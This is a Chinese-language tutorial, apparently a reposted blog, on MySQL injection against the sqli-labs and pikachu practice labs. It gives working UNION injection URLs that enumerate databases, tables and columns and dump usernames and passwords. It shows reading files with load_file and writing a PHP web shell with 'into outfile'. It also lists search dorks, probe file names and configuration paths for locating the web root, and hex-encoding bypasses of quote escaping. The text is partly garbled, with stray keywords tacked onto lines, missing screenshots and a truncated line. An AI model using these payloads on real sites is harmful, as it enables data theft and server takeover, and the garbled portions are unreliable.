sql注入mysql注入

#跨庫查詢及應用思路

information_schema表特性,記錄數據庫名、表名、列名對應表php

information_schema.schemata:存儲全部數據庫名nginx

schema_name:數據庫名sql

利用sqlilabs第2關進行演示數據庫

1.猜解列名數量

 

 

可知字段數爲3。apache

2.獲取全部數據庫名

獲取全部數據庫名:http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schematawindows

 

 

 可知改系統上有10個數據庫服務器

sqlilabs經過查詢對應的數據庫爲security。函數

 

 

 3.得到pikachu數據庫名下的表名信息

在網站中一個網站對應一個數據庫。由上圖可知sqlilabs的數據庫爲security,靶場pikachu對應的數據庫名爲pikachu。測試

獲取pikachu數據庫名下的表名信息:網站

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'

 

 

 有4張表。

4.獲取指定數據庫名下的表名的列名信息

獲取pikachu據庫下的users表的列名信息:

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='pikachu'

 

 

 5.獲取表數據

獲取數據庫pikachu數據庫中users表中的具體信息:

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,username,password from pikachu.users limit 0,1--+

 

 

 #文件讀寫操做

讀取函數:load_file()

導出函數:into outfile或into dumpfile

讀取數據:sele文件的路徑’)

1.讀取E:\下的test.txt文件

select load_file('e:/test.txt');

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,load_file('e:/test.txt'),3 --+

 

 

 

 2.寫入數據

寫入數據數據到e盤下的test.txt文件

 寫入木馬方法:

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,'木馬',3 into outfile 'e:/test.php' --+

 

 

 3.路徑獲取方法

(1).單引號爆路徑

就像測試SQL注入同樣在參數後面加上單引號。

http://localhost/?id=1'

(2).錯誤參數值爆路徑

經過第一種方式能夠會觸發waf,所以能夠經過錯誤的參數值來爆網站路徑。

http://localhost/?id=-1
http://localhost/?id=oqewe

(3)經過搜索引擎獲取

經過搜索引擎語法可能能夠獲取到網站路徑,如:

Site:xxx.com warning
Site:xxx.com "fatal error"
intext:warning

(4)測試文件獲取路徑

網站經過XAMPP或者phpstudy等軟件搭建的話,會存在一些測試文件,好比:

/test.php
/ceshi.php
/info.php
/phpinfo.php
/php_info.php
/1.php
/l.php
/x.php

(5)配置文件獲取路徑

若是注入點有文件讀取權限,就能夠經過load_file函數讀取配置文件,再從中尋找路徑信息。

Windows配置文件:

c:\windows\php.ini                                         php配置文件
c:\windows\system32\inetsrv\MetaBase.xml     IIS虛擬主機配置文件

Linux配置文件:

/etc/php.ini                                                             php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf                                         Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf  虛擬目錄配置文件

XAMPP配置文件:

Xampp文件路徑
C:\xampp\htdocs
 
httpd.com配置文件
C:\xampp\apache\conf/httpd.conf
 
vhosts.conf虛擬主機
C:\xampp\apache\onf\extra\httpd-vhosts.conf

phpnow配置文件:

網站默認路徑
D:\PHPnow-1.5.6\htdocs
 
httpd.conf配置文件
D:\PHPnow-1.5.6\Apache-20\conf\httpd.conf
 
vhosts.conf虛擬主機
D:\PHPnow-1.5.6\Apache-20\conf\extra\vhosts.conf

phpstudy配置文件:

網站默認路徑
C:\phpstudy\www
 
httpd.conf配置文件
C:\phpStudy\Apache\conf\httpd.conf
 
vhosts.conf虛擬主機
C:\phpStudy\Apache\conf\extra\httpd-vhosts.conf

LAMPP配置文件:

網站默認路徑
/opt/lampp/htdocs
 
httpd.conf配置文件
/opt/lampp/etc/httpd.conf
 
vhosts.conf虛擬主機
/opt/lampp/etc/extra/httpd-vhosts.conf

(6)nginx文件類型錯誤解析爆路徑

要求Web服務器是nginx,且存在文件類型解析漏洞。有時在圖片地址後加/x.php,該圖片不但會被看成php文件執行,還有可能爆出物理路徑。

http://localhost/test.jpg/x.php

(7)phpmyadmin爆路徑

/phpmyadmin/themes/darkblue_orange/layout.inc.php

(8)配合遠程代碼執行漏洞

好比eval()函數可控的話,直接傳入phpinfo(),經過phpinfo頁面中Document_Root參數獲取網站絕對路徑。

#常見文件寫入問題

1.魔術引號開關

magic_quotes_gpc=on時,輸入數據中引號(')、雙引號(「)、右斜槓(\)、null(null)等字符都會被加上反斜線(\)。

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,load_file('e:\\test.txt'),3 --+

 

\\被轉義成\\\\,'轉義成‘\

繞過方法:

將路徑去掉引號採用十六進制編碼便可繞過。

 

 2.php語言的addslashes()函數

addslashes()函數與魔術引號做用相似,輸入數據中引號(')、雙引號(「)、右斜槓(\)、null(null)等字符都會被加上反斜線(\)。

3.內置函數int

咱們修改第2關的php文件

 再進行測試

 

 沒法注入!且沒法繞過

4.自定義關鍵字

 str_replace('select','warning',$id)函數將select替換成warning。

 

 進行測試:

 

 select被修改,沒法進行注入。

相關文章
相關標籤/搜索